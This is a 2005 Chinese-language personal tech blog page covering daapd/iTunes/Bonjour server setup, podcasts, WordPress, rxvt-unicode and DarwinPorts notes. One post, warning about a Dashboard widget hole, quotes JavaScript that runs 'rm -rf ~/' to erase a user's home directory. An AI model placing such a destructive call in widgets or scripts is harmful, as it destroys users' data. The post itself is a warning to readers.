DAAPD + iTunes + Bonjour

6月 29th, 2005 2 Comments »

我在一台 FC3 Server 上架了一個 daapd,這樣,其他的電腦,不管是 Windows 或是 Mac 只要有裝 iTunes 就可以撥放 daapd 分享出來的音樂了

Fedora 相關的套件在 DAG 的網站上都有打包好的 rpm 可以直接安裝
主要會用到的是 daapd 及 faac (如果也想聽 aac 格式的音樂)
安裝好套件後,可以參考裡面附的範例設定檔,稍微修改一下即可
我的設定檔如下:

/etc/daapd.conf

Port            3689
ServerName      DAAP
DBName          candyz's MP3 DAAPd
Password        mypasswd
Root            /var/ftp/MP3
Cache           /tmp/.daapd-cache
Timescan        2
Rescan          0

然後,把 mp3 aac 等音樂,都丟到 /var/ftp/MP3 目錄下即可
由於 daapd 本身沒有提供 init.d 的 scripts,所以我自己寫了一個:

/etc/init.d/daapd

#!/bin/sh
#
# A startup script for the daapd DAAP server
#
# chkconfig: 345 98 2
# description: This script is used to start the daapd \
# server as a background process.\
#
# Usage /etc/init.d/daapd start|stop|reload|restart|status

# Source function library.
. /etc/init.d/functions

DAAP_CONF=/etc/daapd.conf
DAAP_LOG=/var/log/daapd_access_log
prog=DAAPd
exe=/usr/bin/daapd

start() {
        echo -n "Starting $prog: "
        if [ -f /var/lock/subsys/daapd ] ; then
                echo_failure
                echo
                exit 1;
        fi
        daemon $exe -c $DAAP_CONF >> $DAAP_LOG &
        RETVAL=$?
        [ $RETVAL = 0 ] && touch /var/lock/subsys/daapd && echo_success
        echo
        return $RETVAL
}

stop() {
        echo -n "Stopping $prog: "
        killproc $exe
        RETVAL=$?
        echo
        [ $RETVAL = 0 ] && rm -f /var/lock/subsys/daapd /var/run/daapd.pid
}

reload()
{
        echo -n $"Reloading $prog:"
        killproc $exe -HUP
        RETVAL=$?
        echo
}

case "$1" in
start)
        start
        ;;
stop)
        stop
        ;;
reload)
        reload
        ;;
restart)
        stop
        start
        ;;
status)
        status $exe
        RETVAL=$?
        ;;
*)
        echo "Usage: daapd {start|stop|reload|restart|status}"
        exit 1
esac

然後執行:
$ chkconfig daapd reset

要啟動 daapd 執行:
$ /etc/init.d/daapd start 即可

接下來,我要讓 daapd 也可以經由 Bonjour 分享出來
(關於 Bonjour 在 Fedora 上的設定,請參考 這裡)
因此,Bonjour 的設定檔要多加一行如下:

/etc/howl/mDNSResponder.conf

“[cacndyz] MP3 (DAAPd)” _daap._tcp local. 3689

現在,我的小白及 Mac Mini 硬碟上不用放 mp3 了,只要開啟 iTunes 後,就會自動抓到 DAAPd
輸入所設定的密碼後,就可以聽歌了…….

daapd

Podcast, iTunes 4.9, and New iPod

6月 29th, 2005 Comments Off

Apple 昨天推出了支援 Podcast 的 iTunes 4.9
把 iTunes 升級完畢,但支援中文(國語)的 Podcast 網站少的可憐
都不知道要去哪裡找,或許等過一陣子就會多起來了吧
同時, Apple 也推出新版的 iPod 支援 Podcast 且是彩色螢幕的
還好一直沒下手買 iPod,總覺得買 Apple 的硬體,好像都是早買早死
除非等到硬體功能比較完整且降價過的再來買比較不會買到地雷
看來,得找個時間來玩一玩 Podcast 了

Wordpress Upgrade

6月 27th, 2005 Comments Off

剛剛把 Wordpress 升級到最新的 svn 版本
並且也把 Almost-spring Themes 升級到 1.1 版
結果,ooxx……………………..
竟然 zh_TW.mo 會出問題,反正就是很 ooxx
所以一氣之下,乾脆把中文化砍了,全用英文
反正用起來也沒什麼差,也省得以後升級時麻煩

About Author

6月 27th, 2005 1 Comment »

  • 姓名: Chung-Yen Chang
  • 暱稱: Candyz
  • 電郵: candyz0416_at_mac.com
  • MSN: candyz0416_at_msn.com
  • 會計系畢業
  • 主要使用的作業系統為 Mac OS X 及 Fedora Core Linux,偶爾也用 Windows
  • 喜歡的歌手及演員為松隆子
  • 最愛的寵物: 肥Jiji & 壞Lio
  • 更多關於我的資訊: Google candyz

dports: rxvt-unicode

6月 27th, 2005 Comments Off

在 Mac OS X 的 X11 底下工作是我必備的
目前用的是 gcin (中文輸入法) + mrxvt (終端機)
mrxvt 有支援 tab 功能,也支援 TTF/OTF 字型,但缺點是,還不支援 Unicode(UTF-8)
因此,在我遇到需要用到 UTF-8 的 Terminal 時,就得改用 X11 內附的 uxterm
不過字型太難看,又不能調整中文字型大小(反正會有問題,我調不出來就是了)
不然,就是得開 “終端機” 出來
最近小白上面裝了 Darwinports,加上 gcin 也進 dports 了
因此,就用 dports install rxvt-unicode
安裝完後,執行 urxvt 就可以用了,支援 Unicode 的 rxvt,也支援 TTF 字型,也可以用 gcin 來輸入中文
我的 gurxvt script:
[candyz@ibook:~] cat /usr/local/bin/gurxvt
export LANG=zh_TW.UTF-8
export XMODIFIERS=@im=gcin
export XIM=gcin
gcin &
sleep 2
ssh-agent /opt/local/bin/urxvt -imlocale zh_TW.UTF-8 -sl 5000 -sr -bg black -fg lightgray -fn “xft:Monaco:pixelsize=16,xft:AR HeiU30 Medium” &
xmodmap /Users/candyz/.Xmodmap
rm -rf /tmp/gcin-*

Dashboard widget 的安全大漏洞

6月 24th, 2005 2 Comments »

<script type=’text/javascript’>

function test(){
                 if(widget){
	            widget.system('rm -rf ~/', null);
	        }
}

以後亂抓 Widget 時要小心了,不然,像上面隨便一個 system 呼叫,就把你的硬碟資料砍光光了…

DarwinPorts 筆記

6月 23rd, 2005 Comments Off

DarwinPorts

fink 外的另一個選擇

下載

DarwinPorts 1.0 版也提供了 dmg 格式的安裝程式下載,這真是個好消息
DarwinPorts-1.0.dmg

安裝

若是下載 dmg Installer 來安裝,那就點選下去即可,方便多了
使用 cvs 來安裝:
$ cd
$ cvs -d :pserver:anonymous@anoncvs.opendarwin.org:/Volumes/src/cvs/od login
$ cvs -d :pserver:anonymous@anoncvs.opendarwin.org:/Volumes/src/cvs/od co -P darwinports
$ cd ~/darwinports/base
$ ./configure
$ make
$ sudo make install

設定環境變數

在 ~/.profile or ~/.bashrc 檔案中加入底下幾行:
export PATH=$PATH:/opt/local/bin:/opt/local/sbin
export MANPATH=$MANPATH:/opt/local/share/man
export INFOPATH=$INFOPATH:/opt/local/share/info

Self Update

$ sudo port sync
$ sudo port selfupdate
$ sudo portindex

開始使用 dports

$ port list
$ port install ‘package’
$ port uninstall ‘package’
$ port search ‘package’
$ port clean ‘package’
$ port info ‘package’
$ port contents ‘package’
$ port variants ‘package’
$ port deps ‘package’
$ port outdated ‘package’
$ port upgrade ‘package’
$ port -a upgrade

gcin dports

測試寫好的 gcin Portfile 及 files/macosx.diff
$ cd ~/gcin
$ sudo port -d -v checksum
$ sudo port -d -v extract
$ sudo port -d -v build
$ sudo port -d -v install

一切順利…:)

FireStats icon Powered by FireStats